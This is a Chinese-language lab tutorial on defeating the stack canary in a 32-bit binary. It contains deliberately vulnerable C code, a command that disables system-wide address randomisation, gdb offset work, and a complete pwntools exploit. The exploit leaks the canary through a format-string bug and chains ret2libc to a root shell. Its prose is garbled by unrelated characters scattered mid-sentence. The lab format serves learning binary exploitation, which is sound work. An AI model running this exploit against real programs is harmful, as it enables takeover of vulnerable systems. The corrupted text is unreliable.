Canary
主要用于防護(hù)棧溢出攻擊
缎岗。我們知道,在32位系統(tǒng)上白粉,對(duì)于棧溢出漏洞传泊,攻擊者通常是通過溢出棧緩沖區(qū),覆蓋棧上保存的函數(shù)返回地址來達(dá)到劫持程序執(zhí)行流的目的蜗元。
Stack canary
保護(hù)機(jī)制在剛進(jìn)入函數(shù)時(shí)或渤,在棧上放置一個(gè)標(biāo)志canary
,然后 在函數(shù)結(jié)束時(shí)奕扣,判斷該標(biāo)志是否被改變,如果被改變掌敬,則表示有攻擊行為發(fā)生惯豆。
gcc相關(guān)參數(shù)及意義
-fstack-protector:?jiǎn)⒂枚褩1Wo(hù),不過只為局部變量中含有 char 數(shù)組的函數(shù)插入保護(hù)代碼
-fstack-protector-all:?jiǎn)⒂枚褩1Wo(hù)奔害,為所有函數(shù)插入保護(hù)代碼楷兽。
-fno-stack-protector:禁用堆棧保護(hù)
一,實(shí)驗(yàn)源碼
文件名:Canary.c
#include <stdio.h>
#include <string.h>
void vul(char *msg_orig)
{
char msg[128];
memcpy(msg,msg_orig,128);
printf(msg);
char shellcode[64];
puts("Now ,plz give me your shellcode:");
read(0,shellcode,256);
}
int main()
{
puts("So plz leave your message:");
char msg[128];
memset(msg,0,128);
read(0,msg,128);
vul(msg);
puts("Bye!");
return 0;
}
二华临,編譯
命令:gcc -m32 -ggdb -z execstack -fstack-protector -no-pie -o pwnme Cannary.c
使用ldd pwnme
,查看libc
文件的加載位置是否會(huì)變
如果會(huì)改變芯杀,為了調(diào)試方便,可以使用:echo 0 > /proc/sys/kernel/randomize_va_space
,關(guān)閉整個(gè)系統(tǒng)的地址隨機(jī)化保護(hù)。
運(yùn)行測(cè)試下
ok!!!
三揭厚,調(diào)試
gdb調(diào)試:
在vul
函數(shù)返回前
我們簡(jiǎn)單了解了下canary機(jī)制却特,接下來嘗試?yán)酶袷交址┒葱孤禼anary的值
泄露Canary
其實(shí)canary的值在程序每一次運(yùn)行都是會(huì)改變的
我們?cè)?code>xor下一個(gè)斷點(diǎn),測(cè)試一下筛圆。
重新運(yùn)行
所以說canary
的值具有不可預(yù)測(cè)性
但是裂明,eax
的值來源于gs:0x14
,而gs:0x14
存在于棧空間上太援,所以我們只要找到它椕龌蓿空間上的位置,就可以泄露它的值提岔。接下來我們就利用格式化字符串漏洞泄露Canary
首先在格式化漏洞點(diǎn)printf
函數(shù)下好斷點(diǎn)
運(yùn)行仙蛉,輸入:AAAAAAAAAA
然后查看棧空間內(nèi)容碱蒙,esp = 0xffffd0c0
荠瘪,指向字符串起始位置 = 0xffffd12c
由此可知格式化字符串偏移為 = (0xffffd12c - 0xffffd0c0) / 4 = 27
然后我們?cè)跈z測(cè)處下斷點(diǎn),查看看Canary的值 = 0xd7203900
這時(shí)候我們看上一張圖振亮,然后你會(huì)有一個(gè)地方的值是相同的
巧还,而這個(gè)位址就是canary
同理得到Canary的偏移 = 59
,也就是說,在程序調(diào)用vul
中printf
時(shí)坊秸,輸入%59$x'
打印出來的就是canary
的值麸祷。
四,代碼
文件名:exp.py
其中涉及到ret2libc
褒搔,可以先查看http://www.reibang.com/p/c90530c910b0阶牍,再看代碼。
因?yàn)橹皇情_啟Canary
星瘾,所以解題方法挺多走孽,泄露處Canary
就算經(jīng)典棧溢出也可以。
from pwn import *
p = process('./pwnme')
elf = ELF('/lib32/libc.so.6') #加載的libc文件
libc_base = 0xf7dd1000 #libc基址
system_addr = libc_base + elf.symbols['system'] #system函數(shù)地址
bin_sh_addr = libc_base + next(elf.search('/bin/sh')) #'/bin/sh'地址
buf = '%59$x' #構(gòu)建泄露Canary的格式化字符串
p.recvuntil("message:\n")
p.sendline(buf) #發(fā)送
ret_msg = p.recvuntil('\n')
canary = int(ret_msg,16) #接收到返回的Cannary的值
p.recvuntil('shellcode:') #利用棧溢出漏洞
buf = 192 * 'A' #構(gòu)建buf
buf += p32(canary) #在Canary地址覆蓋Canary原本的值琳状,不改變Canary的值從而繞過檢查
buf += 28 * 'B'
buf += p32(system_addr)
buf += p32(0xdeadbeef)
buf += p32(bin_sh_addr)
p.sendline(buf) #發(fā)送
p.interactive()
五磕瓷,測(cè)試
輸入whoami
,返回當(dāng)前用戶為root
,未報(bào)錯(cuò),得到可產(chǎn)生交互的shell
念逞,實(shí)驗(yàn)完成困食!